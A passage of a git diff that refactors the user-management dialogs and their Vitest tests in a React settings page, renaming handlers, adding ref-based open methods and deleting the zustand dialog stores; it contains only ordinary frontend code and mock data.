 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
-import EditUserDialog from '../EditUserDialog';
+import EditUserDialog, {EditUserDialogRefI} from '../EditUserDialog';
 
 const hoisted = vi.hoisted(() => {
     return {
-        handleClose: vi.fn(),
-        handleRoleChange: vi.fn(),
-        handleUpdate: vi.fn(),
+        handleEditUserDialogClose: vi.fn(),
+        handleEditUserDialogOpen: vi.fn(),
+        handleEditUserDialogUpdate: vi.fn(),
         mockUseEditUserDialog: vi.fn(),
+        setEditRole: vi.fn(),
     };
 });
 
@@ -20,11 +22,11 @@ const defaultMockReturn = {
     authorities: ['ROLE_ADMIN', 'ROLE_USER'],
     editRole: 'ROLE_ADMIN',
     editUser: {email: 'admin@test.com', login: 'admin'},
-    handleClose: hoisted.handleClose,
-    handleOpen: vi.fn(),
-    handleRoleChange: hoisted.handleRoleChange,
-    handleUpdate: hoisted.handleUpdate,
+    handleEditUserDialogClose: hoisted.handleEditUserDialogClose,
+    handleEditUserDialogOpen: hoisted.handleEditUserDialogOpen,
+    handleEditUserDialogUpdate: hoisted.handleEditUserDialogUpdate,
     open: true,
+    setEditRole: hoisted.setEditRole,
     updateDisabled: false,
 };
 
@@ -39,7 +41,10 @@ afterEach(() => {
 });
 
 const renderEditUserDialog = () => {
-    return render(<EditUserDialog />);
+    const ref = createRef<EditUserDialogRefI>();
+    const result = render(<EditUserDialog ref={ref} />);
+
+    return {...result, ref};
 };
 
 describe('EditUserDialog', () => {
@@ -80,22 +85,37 @@ describe('EditUserDialog', () => {
         expect(screen.getByRole('button', {name: 'Save'})).toBeInTheDocument();
     });
 
-    it('should call handleUpdate when clicking Save button', async () => {
+    it('should call handleEditUserDialogUpdate when clicking Save button', async () => {
         renderEditUserDialog();
 
         const saveButton = screen.getByRole('button', {name: 'Save'});
         await userEvent.click(saveButton);
 
-        expect(hoisted.handleUpdate).toHaveBeenCalledTimes(1);
+        expect(hoisted.handleEditUserDialogUpdate).toHaveBeenCalledTimes(1);
     });
 
-    it('should call handleClose when clicking Cancel button', async () => {
+    it('should call handleEditUserDialogClose when clicking Cancel button', async () => {
         renderEditUserDialog();
 
         const cancelButton = screen.getByRole('button', {name: 'Cancel'});
         await userEvent.click(cancelButton);
 
-        expect(hoisted.handleClose).toHaveBeenCalled();
+        expect(hoisted.handleEditUserDialogClose).toHaveBeenCalled();
+    });
+
+    it('should expose open method via ref', () => {
+        const {ref} = renderEditUserDialog();
+
+        expect(ref.current).not.toBeNull();
+        expect(typeof ref.current?.open).toBe('function');
+    });
+
+    it('should call handleEditUserDialogOpen when open method is called via ref', () => {
+        const {ref} = renderEditUserDialog();
+
+        ref.current?.open('testuser');
+
+        expect(hoisted.handleEditUserDialogOpen).toHaveBeenCalledWith('testuser');
     });
 });
 
@@ -105,11 +125,11 @@ describe('EditUserDialog closed state', () => {
             authorities: ['ROLE_ADMIN', 'ROLE_USER'],
             editRole: null,
             editUser: null,
-            handleClose: hoisted.handleClose,
-            handleOpen: vi.fn(),
-            handleRoleChange: hoisted.handleRoleChange,
-            handleUpdate: hoisted.handleUpdate,
+            handleEditUserDialogClose: hoisted.handleEditUserDialogClose,
+            handleEditUserDialogOpen: hoisted.handleEditUserDialogOpen,
+            handleEditUserDialogUpdate: hoisted.handleEditUserDialogUpdate,
             open: false,
+            setEditRole: hoisted.setEditRole,
             updateDisabled: true,
         });
     });
@@ -127,11 +147,11 @@ describe('EditUserDialog updateDisabled state', () => {
             authorities: ['ROLE_ADMIN', 'ROLE_USER'],
             editRole: 'ROLE_ADMIN',
             editUser: {email: 'admin@test.com', login: 'admin'},
-            handleClose: hoisted.handleClose,
-            handleOpen: vi.fn(),
-            handleRoleChange: hoisted.handleRoleChange,
-            handleUpdate: hoisted.handleUpdate,
+            handleEditUserDialogClose: hoisted.handleEditUserDialogClose,
+            handleEditUserDialogOpen: hoisted.handleEditUserDialogOpen,
+            handleEditUserDialogUpdate: hoisted.handleEditUserDialogUpdate,
             open: true,
+            setEditRole: hoisted.setEditRole,
             updateDisabled: true,
         });
     });
@@ -151,11 +171,11 @@ describe('EditUserDialog with null email', () => {
             authorities: ['ROLE_ADMIN', 'ROLE_USER'],
             editRole: 'ROLE_ADMIN',
             editUser: {email: null, login: 'username'},
-            handleClose: hoisted.handleClose,
-            handleOpen: vi.fn(),
-            handleRoleChange: hoisted.handleRoleChange,
-            handleUpdate: hoisted.handleUpdate,
+            handleEditUserDialogClose: hoisted.handleEditUserDialogClose,
+            handleEditUserDialogOpen: hoisted.handleEditUserDialogOpen,
+            handleEditUserDialogUpdate: hoisted.handleEditUserDialogUpdate,
             open: true,
+            setEditRole: hoisted.setEditRole,
             updateDisabled: false,
         });
     });
diff --git a/client/src/pages/settings/platform/users/components/tests/InviteUserDialog.test.tsx b/client/src/pages/settings/platform/users/components/tests/InviteUserDialog.test.tsx
index 062407d7a93..260ce45e921 100644
--- a/client/src/pages/settings/platform/users/components/tests/InviteUserDialog.test.tsx
+++ b/client/src/pages/settings/platform/users/components/tests/InviteUserDialog.test.tsx
@@ -1,16 +1,18 @@
 import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
+import {createRef} from 'react';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
-import InviteUserDialog from '../InviteUserDialog';
+import InviteUserDialog, {InviteUserDialogRefI} from '../InviteUserDialog';
 
 const hoisted = vi.hoisted(() => {
     return {
-        handleClose: vi.fn(),
-        handleEmailChange: vi.fn(),
-        handleInvite: vi.fn(),
-        handleRegeneratePassword: vi.fn(),
-        handleRoleChange: vi.fn(),
+        handleInviteUserDialogClose: vi.fn(),
+        handleInviteUserDialogInvite: vi.fn(),
+        handleInviteUserDialogOpen: vi.fn(),
+        handleInviteUserDialogRegeneratePassword: vi.fn(),
         mockUseInviteUserDialog: vi.fn(),
+        setInviteEmail: vi.fn(),
+        setInviteRole: vi.fn(),
     };
 });
 
@@ -20,17 +22,17 @@ vi.mock('../hooks/useInviteUserDialog', () => ({
 
 const defaultMockReturn = {
     authorities: ['ROLE_ADMIN', 'ROLE_USER'],
-    handleClose: hoisted.handleClose,
-    handleEmailChange: hoisted.handleEmailChange,
-    handleInvite: hoisted.handleInvite,
-    handleOpen: vi.fn(),
-    handleRegeneratePassword: hoisted.handleRegeneratePassword,
-    handleRoleChange: hoisted.handleRoleChange,
+    handleInviteUserDialogClose: hoisted.handleInviteUserDialogClose,
+    handleInviteUserDialogInvite: hoisted.handleInviteUserDialogInvite,
+    handleInviteUserDialogOpen: hoisted.handleInviteUserDialogOpen,
+    handleInviteUserDialogRegeneratePassword: hoisted.handleInviteUserDialogRegeneratePassword,
     inviteDisabled: false,
     inviteEmail: 'test@example.com',
     invitePassword: 'GeneratedPass1',
     inviteRole: 'ROLE_ADMIN',
     open: true,
+    setInviteEmail: hoisted.setInviteEmail,
+    setInviteRole: hoisted.setInviteRole,
 };
 
 beforeEach(() => {
@@ -44,7 +46,10 @@ afterEach(() => {
 });
 
 const renderInviteUserDialog = () => {
-    return render(<InviteUserDialog />);
+    const ref = createRef<InviteUserDialogRefI>();
+    const result = render(<InviteUserDialog ref={ref} />);
+
+    return {...result, ref};
 };
 
 describe('InviteUserDialog', () => {
@@ -95,31 +100,46 @@ describe('InviteUserDialog', () => {
         expect(screen.getByRole('button', {name: 'Regenerate'})).toBeInTheDocument();
     });
 
-    it('should call handleInvite when clicking Invite button', async () => {
+    it('should call handleInviteUserDialogInvite when clicking Invite button', async () => {
         renderInviteUserDialog();
 
         const inviteButton = screen.getByRole('button', {name: 'Invite'});
         await userEvent.click(inviteButton);
 
-        expect(hoisted.handleInvite).toHaveBeenCalledTimes(1);
+        expect(hoisted.handleInviteUserDialogInvite).toHaveBeenCalledTimes(1);
     });
 
-    it('should call handleRegeneratePassword when clicking Regenerate button', async () => {
+    it('should call handleInviteUserDialogRegeneratePassword when clicking Regenerate button', async () => {
         renderInviteUserDialog();
 
         const regenerateButton = screen.getByRole('button', {name: 'Regenerate'});
         await userEvent.click(regenerateButton);
 
-        expect(hoisted.handleRegeneratePassword).toHaveBeenCalledTimes(1);
+        expect(hoisted.handleInviteUserDialogRegeneratePassword).toHaveBeenCalledTimes(1);
     });
 
-    it('should call handleClose when clicking Cancel button', async () => {
+    it('should call handleInviteUserDialogClose when clicking Cancel button', async () => {
         renderInviteUserDialog();
 
         const cancelButton = screen.getByRole('button', {name: 'Cancel'});
         await userEvent.click(cancelButton);
 
-        expect(hoisted.handleClose).toHaveBeenCalled();
+        expect(hoisted.handleInviteUserDialogClose).toHaveBeenCalled();
+    });
+
+    it('should expose open method via ref', () => {
+        const {ref} = renderInviteUserDialog();
+
+        expect(ref.current).not.toBeNull();
+        expect(typeof ref.current?.open).toBe('function');
+    });
+
+    it('should call handleInviteUserDialogOpen when open method is called via ref', () => {
+        const {ref} = renderInviteUserDialog();
+
+        ref.current?.open();
+
+        expect(hoisted.handleInviteUserDialogOpen).toHaveBeenCalled();
     });
 
     it('should display password value', () => {
@@ -143,17 +163,17 @@ describe('InviteUserDialog closed state', () => {
     beforeEach(() => {
         hoisted.mockUseInviteUserDialog.mockReturnValue({
             authorities: ['ROLE_ADMIN', 'ROLE_USER'],
-            handleClose: hoisted.handleClose,
-            handleEmailChange: hoisted.handleEmailChange,
-            handleInvite: hoisted.handleInvite,
-            handleOpen: vi.fn(),
-            handleRegeneratePassword: hoisted.handleRegeneratePassword,
-            handleRoleChange: hoisted.handleRoleChange,
+            handleInviteUserDialogClose: hoisted.handleInviteUserDialogClose,
+            handleInviteUserDialogInvite: hoisted.handleInviteUserDialogInvite,
+            handleInviteUserDialogOpen: hoisted.handleInviteUserDialogOpen,
+            handleInviteUserDialogRegeneratePassword: hoisted.handleInviteUserDialogRegeneratePassword,
             inviteDisabled: true,
             inviteEmail: '',
             invitePassword: 'GeneratedPass1',
             inviteRole: null,
             open: false,
+            setInviteEmail: hoisted.setInviteEmail,
+            setInviteRole: hoisted.setInviteRole,
         });
     });
 
@@ -168,17 +188,17 @@ describe('InviteUserDialog inviteDisabled state', () => {
     beforeEach(() => {
         hoisted.mockUseInviteUserDialog.mockReturnValue({
             authorities: ['ROLE_ADMIN', 'ROLE_USER'],
-            handleClose: hoisted.handleClose,
-            handleEmailChange: hoisted.handleEmailChange,
-            handleInvite: hoisted.handleInvite,
-            handleOpen: vi.fn(),
-            handleRegeneratePassword: hoisted.handleRegeneratePassword,
-            handleRoleChange: hoisted.handleRoleChange,
+            handleInviteUserDialogClose: hoisted.handleInviteUserDialogClose,
+            handleInviteUserDialogInvite: hoisted.handleInviteUserDialogInvite,
+            handleInviteUserDialogOpen: hoisted.handleInviteUserDialogOpen,
+            handleInviteUserDialogRegeneratePassword: hoisted.handleInviteUserDialogRegeneratePassword,
             inviteDisabled: true,
             inviteEmail: '',
             invitePassword: 'GeneratedPass1',
             inviteRole: 'ROLE_ADMIN',
             open: true,
+            setInviteEmail: hoisted.setInviteEmail,
+            setInviteRole: hoisted.setInviteRole,
         });
     });
 
diff --git a/client/src/pages/settings/platform/users/components/tests/UsersTable.test.tsx b/client/src/pages/settings/platform/users/components/tests/UsersTable.test.tsx
index 104e27ca2da..1cc92c918c5 100644
--- a/client/src/pages/settings/platform/users/components/tests/UsersTable.test.tsx
+++ b/client/src/pages/settings/platform/users/components/tests/UsersTable.test.tsx
@@ -1,7 +1,8 @@
 import {render, resetAll, screen, userEvent, waitFor, windowResizeObserver} from '@/shared/util/test-utils';
+import {createRef} from 'react';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
-import UsersTable from '../UsersTable';
+import UsersTable, {UsersTableRefI} from '../UsersTable';
 
 const mockUsers = [
     {
@@ -26,10 +27,6 @@ const mockUsers = [
 
 const hoisted = vi.hoisted(() => {
     return {
-        handleOpenDelete: vi.fn(),
-        handleOpenEdit: vi.fn(),
-        mockUseDeleteUserAlertDialog: vi.fn(),
-        mockUseEditUserDialog: vi.fn(),
         mockUseUsersTable: vi.fn(),
     };
 });
@@ -38,14 +35,6 @@ vi.mock('../hooks/useUsersTable', () => ({
     default: hoisted.mockUseUsersTable,
 }));
 
-vi.mock('../hooks/useDeleteUserAlertDialog', () => ({
-    default: hoisted.mockUseDeleteUserAlertDialog,
-}));
-
-vi.mock('../hooks/useEditUserDialog', () => ({
-    default: hoisted.mockUseEditUserDialog,
-}));
-
 const defaultMockReturn = {
     error: null,
     isLoading: false,
@@ -59,23 +48,6 @@ const defaultMockReturn = {
 beforeEach(() => {
     windowResizeObserver();
     hoisted.mockUseUsersTable.mockReturnValue({...defaultMockReturn});
-    hoisted.mockUseDeleteUserAlertDialog.mockReturnValue({
-        handleClose: vi.fn(),
-        handleDelete: vi.fn(),
-        handleOpen: hoisted.handleOpenDelete,
-        open: false,
-    });
-    hoisted.mockUseEditUserDialog.mockReturnValue({
-        authorities: [],
-        editRole: null,
-        editUser: null,
-        handleClose: vi.fn(),
-        handleOpen: hoisted.handleOpenEdit,
-        handleRoleChange: vi.fn(),
-        handleUpdate: vi.fn(),
-        open: false,
-        updateDisabled: true,
-    });
 });
 
 afterEach(() => {
@@ -84,11 +56,15 @@ afterEach(() => {
 });
 
 const renderUsersTable = (props = {}) => {
+    const ref = createRef<UsersTableRefI>();
     const defaultProps = {
+        onOpenDelete: vi.fn(),
+        onOpenEdit: vi.fn(),
         pageNumber: 0,
     };
+    const result = render(<UsersTable {...defaultProps} {...props} ref={ref} />);
 
-    return render(<UsersTable {...defaultProps} {...props} />);
+    return {...result, ref};
 };
 
 describe('UsersTable', () => {
@@ -154,8 +130,10 @@ describe('UsersTable', () => {
     });
 
     describe('user actions', () => {
-        it('should call handleOpenEdit when clicking edit button', async () => {
-            renderUsersTable();
+        it('should call onOpenEdit when clicking edit button', async () => {
+            const onOpenEdit = vi.fn();
+
+            renderUsersTable({onOpenEdit});
 
             const editButtons = screen.getAllByRole('button');
             const editButton = editButtons.find((btn) => btn.querySelector('.lucide-edit'));
@@ -164,13 +142,15 @@ describe('UsersTable', () => {
                 await userEvent.click(editButton);
 
                 await waitFor(() => {
-                    expect(hoisted.handleOpenEdit).toHaveBeenCalledWith('admin');
+                    expect(onOpenEdit).toHaveBeenCalledWith('admin');
                 });
             }
         });
 
-        it('should call handleOpenDelete when clicking delete button', async () => {
-            renderUsersTable();
+        it('should call onOpenDelete when clicking delete button', async () => {
+            const onOpenDelete = vi.fn();
+
+            renderUsersTable({onOpenDelete});
 
             const deleteButtons = screen.getAllByRole('button');
             const deleteButton = deleteButtons.find((btn) => btn.querySelector('.lucide-trash-2'));
@@ -179,12 +159,21 @@ describe('UsersTable', () => {
                 await userEvent.click(deleteButton);
 
                 await waitFor(() => {
-                    expect(hoisted.handleOpenDelete).toHaveBeenCalledWith('admin');
+                    expect(onOpenDelete).toHaveBeenCalledWith('admin');
                 });
             }
         });
     });
 
+    describe('ref', () => {
+        it('should expose isLoading via ref', () => {
+            const {ref} = renderUsersTable();
+
+            expect(ref.current).not.toBeNull();
+            expect(ref.current?.isLoading).toBe(false);
+        });
+    });
+
     describe('table structure', () => {
         it('should render correct number of rows for users', () => {
             renderUsersTable();
@@ -231,6 +220,12 @@ describe('UsersTable loading state', () => {
 
         expect(screen.queryByText('admin@test.com')).not.toBeInTheDocument();
     });
+
+    it('should expose isLoading as true via ref', () => {
+        const {ref} = renderUsersTable();
+
+        expect(ref.current?.isLoading).toBe(true);
+    });
 });
 
 describe('UsersTable empty state', () => {
diff --git a/client/src/pages/settings/platform/users/stores/tests/useDeleteUserDialogStore.test.ts b/client/src/pages/settings/platform/users/stores/tests/useDeleteUserDialogStore.test.ts
deleted file mode 100644
index 97087a5a5fe..00000000000
--- a/client/src/pages/settings/platform/users/stores/tests/useDeleteUserDialogStore.test.ts
+++ /dev/null
@@ -1,72 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useDeleteUserDialogStore} from '../useDeleteUserDialogStore';
-
-describe('useDeleteUserDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useDeleteUserDialogStore.getState().clearLoginToDelete();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has loginToDelete as null', () => {
-            const state = useDeleteUserDialogStore.getState();
-
-            expect(state.loginToDelete).toBeNull();
-        });
-    });
-
-    describe('setLoginToDelete', () => {
-        it('sets loginToDelete to the provided login', () => {
-            act(() => {
-                useDeleteUserDialogStore.getState().setLoginToDelete('user@example.com');
-            });
-
-            const state = useDeleteUserDialogStore.getState();
-
-            expect(state.loginToDelete).toBe('user@example.com');
-        });
-
-        it('allows null value for login', () => {
-            act(() => {
-                useDeleteUserDialogStore.getState().setLoginToDelete(null);
-            });
-
-            const state = useDeleteUserDialogStore.getState();
-
-            expect(state.loginToDelete).toBeNull();
-        });
-
-        it('updates loginToDelete when called multiple times', () => {
-            act(() => {
-                useDeleteUserDialogStore.getState().setLoginToDelete('user1@example.com');
-            });
-
-            act(() => {
-                useDeleteUserDialogStore.getState().setLoginToDelete('user2@example.com');
-            });
-
-            const state = useDeleteUserDialogStore.getState();
-
-            expect(state.loginToDelete).toBe('user2@example.com');
-        });
-    });
-
-    describe('clearLoginToDelete', () => {
-        it('resets loginToDelete to null', () => {
-            act(() => {
-                useDeleteUserDialogStore.getState().setLoginToDelete('user@example.com');
-            });
-
-            act(() => {
-                useDeleteUserDialogStore.getState().clearLoginToDelete();
-            });
-
-            const state = useDeleteUserDialogStore.getState();
-
-            expect(state.loginToDelete).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/settings/platform/users/stores/tests/useEditUserDialogStore.test.ts b/client/src/pages/settings/platform/users/stores/tests/useEditUserDialogStore.test.ts
deleted file mode 100644
index bce5bdbf68d..00000000000
--- a/client/src/pages/settings/platform/users/stores/tests/useEditUserDialogStore.test.ts
+++ /dev/null
@@ -1,89 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it} from 'vitest';
-
-import {useEditUserDialogStore} from '../useEditUserDialogStore';
-
-describe('useEditUserDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useEditUserDialogStore.getState().clearLoginToEdit();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has loginToEdit as null', () => {
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.loginToEdit).toBeNull();
-        });
-
-        it('has editRole as null', () => {
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.editRole).toBeNull();
-        });
-    });
-
-    describe('setLoginToEdit', () => {
-        it('sets loginToEdit to the provided login', () => {
-            act(() => {
-                useEditUserDialogStore.getState().setLoginToEdit('user@example.com');
-            });
-
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.loginToEdit).toBe('user@example.com');
-        });
-    });
-
-    describe('setEditRole', () => {
-        it('sets editRole to the provided role', () => {
-            act(() => {
-                useEditUserDialogStore.getState().setLoginToEdit('user@example.com');
-            });
-
-            act(() => {
-                useEditUserDialogStore.getState().setEditRole('ROLE_ADMIN');
-            });
-
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.editRole).toBe('ROLE_ADMIN');
-        });
-
-        it('updates editRole when called multiple times', () => {
-            act(() => {
-                useEditUserDialogStore.getState().setEditRole('ROLE_ADMIN');
-            });
-
-            act(() => {
-                useEditUserDialogStore.getState().setEditRole('ROLE_USER');
-            });
-
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.editRole).toBe('ROLE_USER');
-        });
-    });
-
-    describe('clearLoginToEdit', () => {
-        it('resets all state to initial values', () => {
-            act(() => {
-                useEditUserDialogStore.getState().setLoginToEdit('user@example.com');
-            });
-
-            act(() => {
-                useEditUserDialogStore.getState().setEditRole('ROLE_ADMIN');
-            });
-
-            act(() => {
-                useEditUserDialogStore.getState().clearLoginToEdit();
-            });
-
-            const state = useEditUserDialogStore.getState();
-
-            expect(state.loginToEdit).toBeNull();
-            expect(state.editRole).toBeNull();
-        });
-    });
-});
diff --git a/client/src/pages/settings/platform/users/stores/tests/useInviteUserDialogStore.test.ts b/client/src/pages/settings/platform/users/stores/tests/useInviteUserDialogStore.test.ts
deleted file mode 100644
index 47a9fd609c9..00000000000
--- a/client/src/pages/settings/platform/users/stores/tests/useInviteUserDialogStore.test.ts
+++ /dev/null
@@ -1,117 +0,0 @@
-import {act} from '@testing-library/react';
-import {beforeEach, describe, expect, it, vi} from 'vitest';
-
-import {useInviteUserDialogStore} from '../useInviteUserDialogStore';
-
-vi.mock('@/pages/settings/platform/users/util/password-utils', () => ({
-    generatePassword: vi.fn(() => 'generated-password-123'),
-}));
-
-describe('useInviteUserDialogStore', () => {
-    beforeEach(() => {
-        act(() => {
-            useInviteUserDialogStore.getState().reset();
-        });
-    });
-
-    describe('initial state', () => {
-        it('has open as false', () => {
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.open).toBe(false);
-        });
-
-        it('has empty inviteEmail', () => {
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.inviteEmail).toBe('');
-        });
-
-        it('has generated invitePassword', () => {
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.invitePassword).toBe('generated-password-123');
-        });
-
-        it('has inviteRole as null', () => {
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.inviteRole).toBeNull();
-        });
-    });
-
-    describe('setOpen', () => {
-        it('sets open to true', () => {
-            act(() => {
-                useInviteUserDialogStore.getState().setOpen();
-            });
-
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.open).toBe(true);
-        });
-    });
-
-    describe('setInviteEmail', () => {
-        it('sets inviteEmail to the provided value', () => {
-            act(() => {
-                useInviteUserDialogStore.getState().setInviteEmail('newuser@example.com');
-            });
-
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.inviteEmail).toBe('newuser@example.com');
-        });
-    });
-
-    describe('setInviteRole', () => {
-        it('sets inviteRole to the provided value', () => {
-            act(() => {
-                useInviteUserDialogStore.getState().setInviteRole('ROLE_ADMIN');
-            });
-
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.inviteRole).toBe('ROLE_ADMIN');
-        });
-    });
-
-    describe('regeneratePassword', () => {
-        it('regenerates the password', () => {
-            act(() => {
-                useInviteUserDialogStore.getState().regeneratePassword();
-            });
-
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.invitePassword).toBe('generated-password-123');
-        });
-    });
-
-    describe('reset', () => {
-        it('resets all state and closes dialog', () => {
-            act(() => {
-                useInviteUserDialogStore.getState().setOpen();
-            });
-
-            act(() => {
-                useInviteUserDialogStore.getState().setInviteEmail('user@example.com');
-            });
-
-            act(() => {
-                useInviteUserDialogStore.getState().setInviteRole('ROLE_ADMIN');
-            });
-
-            act(() => {
-                useInviteUserDialogStore.getState().reset();
-            });
-
-            const state = useInviteUserDialogStore.getState();
-
-            expect(state.open).toBe(false);
-            expect(state.inviteEmail).toBe('');
-            expect(state.inviteRole).toBeNull();
-            expect(state.invitePassword).toBe('generated-password-123');
-        });
-    });
-});
diff --git a/client/src/pages/settings/platform/users/stores/useDeleteUserDialogStore.ts b/client/src/pages/settings/platform/users/stores/useDeleteUserDialogStore.ts
deleted file mode 100644
index b50ed80a26f..00000000000
--- a/client/src/pages/settings/platform/users/stores/useDeleteUserDialogStore.ts
+++ /dev/null
@@ -1,31 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface DeleteUserDialogStateI {
-    clearLoginToDelete: () => void;
-    loginToDelete: string | null;
-    setLoginToDelete: (login: string | null) => void;
-}
-
-export const useDeleteUserDialogStore = create<DeleteUserDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearLoginToDelete: () => {
-                set(() => ({
-                    loginToDelete: null,
-                }));
-            },
-
-            loginToDelete: null,
-
-            setLoginToDelete: (login: string | null) => {
-                set(() => ({
-                    loginToDelete: login,
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.delete-user-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/settings/platform/users/stores/useEditUserDialogStore.ts b/client/src/pages/settings/platform/users/stores/useEditUserDialogStore.ts
deleted file mode 100644
index 151f76b4c86..00000000000
--- a/client/src/pages/settings/platform/users/stores/useEditUserDialogStore.ts
+++ /dev/null
@@ -1,42 +0,0 @@
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface EditUserDialogStateI {
-    clearLoginToEdit: () => void;
-    editRole: string | null;
-    loginToEdit: string | null;
-    setEditRole: (role: string) => void;
-    setLoginToEdit: (login: string) => void;
-}
-
-export const useEditUserDialogStore = create<EditUserDialogStateI>()(
-    devtools(
-        (set) => ({
-            clearLoginToEdit: () => {
-                set(() => ({
-                    editRole: null,
-                    loginToEdit: null,
-                }));
-            },
-
-            editRole: null,
-
-            loginToEdit: null,
-
-            setEditRole: (role: string) => {
-                set(() => ({
-                    editRole: role,
-                }));
-            },
-
-            setLoginToEdit: (login: string) => {
-                set(() => ({
-                    loginToEdit: login,
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.edit-user-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/settings/platform/users/stores/useInviteUserDialogStore.ts b/client/src/pages/settings/platform/users/stores/useInviteUserDialogStore.ts
deleted file mode 100644
index 4ec809ae065..00000000000
--- a/client/src/pages/settings/platform/users/stores/useInviteUserDialogStore.ts
+++ /dev/null
@@ -1,62 +0,0 @@
-import {generatePassword} from '@/pages/settings/platform/users/util/password-utils';
-import {create} from 'zustand';
-import {devtools} from 'zustand/middleware';
-
-interface InviteUserDialogStateI {
-    inviteEmail: string;
-    invitePassword: string;
-    inviteRole: string | null;
-    open: boolean;
-    regeneratePassword: () => void;
-    reset: () => void;
-    setInviteEmail: (email: string) => void;
-    setInviteRole: (role: string) => void;
-    setOpen: () => void;
-}
-
-export const useInviteUserDialogStore = create<InviteUserDialogStateI>()(
-    devtools(
-        (set) => ({
-            inviteEmail: '',
-            invitePassword: generatePassword(),
-            inviteRole: null,
-            open: false,
-
-            regeneratePassword: () => {
-                set(() => ({
-                    invitePassword: generatePassword(),
-                }));
-            },
-
-            reset: () => {
-                set(() => ({
-                    inviteEmail: '',
-                    invitePassword: generatePassword(),
-                    inviteRole: null,
-                    open: false,
-                }));
-            },
-
-            setInviteEmail: (email: string) => {
-                set(() => ({
-                    inviteEmail: email,
-                }));
-            },
-
-            setInviteRole: (role: string) => {
-                set(() => ({
-                    inviteRole: role,
-                }));
-            },
-
-            setOpen: () => {
-                set(() => ({
-                    open: true,
-                }));
-            },
-        }),
-        {
-            name: 'bytechef.invite-user-dialog',
-        }
-    )
-);
diff --git a/client/src/pages/settings/platform/users/tests/UsersPage.test.tsx b/client/src/pages/settings/platform/users/tests/UsersPage.test.tsx
index 1439ea1f0f8..62ded611c00 100644
--- a/client/src/pages/settings/platform/users/tests/UsersPage.test.tsx
+++ b/client/src/pages/settings/platform/users/tests/UsersPage.test.tsx
@@ -1,16 +1,14 @@
 import {render, resetAll, screen, userEvent, waitFor, windowResizeObserver} from '@/shared/util/test-utils';
+import {ForwardedRef, forwardRef} from 'react';
 import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
 
 import UsersPage from '../UsersPage';
 
 const hoisted = vi.hoisted(() => {
     return {
-        handleDeleteDialogOpen: vi.fn(),
-        handleEditDialogOpen: vi.fn(),
-        handleInviteDialogOpen: vi.fn(),
-        mockUseDeleteUserAlertDialog: vi.fn(),
-        mockUseEditUserDialog: vi.fn(),
-        mockUseInviteUserDialog: vi.fn(),
+        deleteDialogOpen: vi.fn(),
+        editDialogOpen: vi.fn(),
+        inviteDialogOpen: vi.fn(),
         mockUseUsersTable: vi.fn(),
     };
 });
@@ -19,83 +17,70 @@ vi.mock('@/pages/settings/platform/users/components/hooks/useUsersTable', () =>
     default: hoisted.mockUseUsersTable,
 }));
 
-vi.mock('@/pages/settings/platform/users/components/hooks/useDeleteUserAlertDialog', () => ({
-    default: hoisted.mockUseDeleteUserAlertDialog,
+vi.mock('@/pages/settings/platform/users/components/DeleteUserAlertDialog', () => ({
+    default: forwardRef((_, ref: ForwardedRef<{open: (login: string | null) => void}>) => {
+        if (ref && typeof ref === 'object') {
+            ref.current = {
+                open: hoisted.deleteDialogOpen,
+            };
+        }
+
+        return <div data-testid="delete-dialog" />;
+    }),
 }));
 
-vi.mock('@/pages/settings/platform/users/components/hooks/useEditUserDialog', () => ({
-    default: hoisted.mockUseEditUserDialog,
+vi.mock('@/pages/settings/platform/users/components/InviteUserDialog', () => ({
+    default: forwardRef((_, ref: ForwardedRef<{open: () => void}>) => {
+        if (ref && typeof ref === 'object') {
+            ref.current = {
+                open: hoisted.inviteDialogOpen,
+            };
+        }
+
+        return <div data-testid="invite-dialog" />;
+    }),
 }));
 
-vi.mock('@/pages/settings/platform/users/components/hooks/useInviteUserDialog', () => ({
-    default: hoisted.mockUseInviteUserDialog,
+vi.mock('@/pages/settings/platform/users/components/EditUserDialog', () => ({
+    default: forwardRef((_, ref: ForwardedRef<{open: (login: string) => void}>) => {
+        if (ref && typeof ref === 'object') {
+            ref.current = {
+                open: hoisted.editDialogOpen,
+            };
+        }
+
+        return <div data-testid="edit-dialog" />;
+    }),
 }));
 
-const mockUsers = [
-    {
-        activated: true,
-        authorities: ['ROLE_ADMIN'],
-        email: 'admin@test.com',
-        firstName: 'Admin',
-        id: '1',
-        lastName: 'User',
-        login: 'admin',
-    },
-    {
-        activated: false,
-        authorities: ['ROLE_USER'],
-        email: 'user@test.com',
-        firstName: 'Regular',
-        id: '2',
-        lastName: 'User',
-        login: 'user',
-    },
-];
-
-const defaultUsersTableMockReturn = {
+const defaultMockReturn = {
     error: null,
     isLoading: false,
-    pageNumber: 0,
-    pageSize: 20,
-    totalElements: mockUsers.length,
-    totalPages: 1,
-    users: mockUsers,
+    users: [
+        {
